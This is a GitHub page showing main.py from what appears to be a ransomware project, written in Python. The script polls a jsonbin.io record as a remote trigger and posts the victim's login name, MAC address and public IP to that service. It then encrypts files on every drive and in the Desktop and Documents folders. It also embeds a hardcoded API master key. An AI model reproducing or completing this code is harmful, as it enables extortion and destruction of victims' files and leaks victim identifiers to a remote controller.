-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
103 lines (86 loc) · 2.77 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from json import loads
from os import getlogin, sep
from pathlib import Path
from DirectoryWalker import DirectoryWalker
from Encryptor import Encryptor
from Crypto.Cipher import AES
from requests import get, post
from getmac import get_mac_address
walker = DirectoryWalker()
encryptor = Encryptor(key="EncryptFiles")
# global shouldEncrypt
# global shouldDecrypt
shouldEncrypt = False
shouldDecrypt = False
def CheckPermissions():
# try:
if(get("https://www.google.com/").status_code == 200):
binUrl = 'https://api.jsonbin.io/v3/b/61f8fb05fb3ece3ad7cf5904/latest'
headers = {
'X-Master-Key': '$2b$10$hzoPclryt/0WzJ5ra.DiMeLJQuhgS5Qid2wSEryvKJB4D7.d8QMZy'
}
jsonObj = loads(get(
binUrl).content)
print(jsonObj)
# Modifying the variables to make them global
global shouldEncrypt
global shouldDecrypt
print(shouldDecrypt)
if(jsonObj['record']["EncryptFiles"] == 'true'):
shouldEncrypt = True
if(jsonObj['record']["DecryptFiles"] == 'true'):
shouldDecrypt = True
else:
print("No internet, exiting...")
# except:
# pass
def RecordTargetedSystems():
url = 'https://api.jsonbin.io/b'
headers = {
'Content-Type': 'application/json',
'secret-key': '$2b$10$hzoPclryt/0WzJ5ra.DiMeLJQuhgS5Qid2wSEryvKJB4D7.d8QMZy',
'name': getlogin()
}
data = {
"Targeted Systems": {
"UserName": getlogin(),
"MAC Address": f"{get_mac_address()}",
"IPAddress": format(get('https://api.ipify.org').content.decode('utf8'))
}
}
req = post(url, json=data, headers=headers)
print(req.text)
def EncryptDriveFiles(path):
print("Entered EncryptDriveFiles")
# print("Receved parameters are: ")
# print(locals())
fileList = walker.GetFilesList(path)
for file in fileList:
encryptor.encrypt_file(file)
print(file)
CheckPermissions()
# Encryption starts only if the 'EncryptFiles' flag is true in the config
if(shouldEncrypt):
targetList = []
targetList = walker.GetDrives()
RecordTargetedSystems()
for drive in targetList:
EncryptDriveFiles(drive)
targetList.clear()
targetList.append(str(Path.home()) + sep + "Desktop")
targetList.append(str(Path.home()) + sep + "Documents")
for drive in targetList:
EncryptDriveFiles(drive)
else:
print("Permission denied, exiting...")
''' Multi threaded execution trial '''
# print("Starting encryption")
# threads = []
# driveList = walker.GetDrives()
# for drive in driveList:
# t = threading.Thread(target=EncryptDriveFiles, args=(drive))
# threads.append(t)
# print("Starting thread")
# t.start()
# for thread in threads:
# thread.join()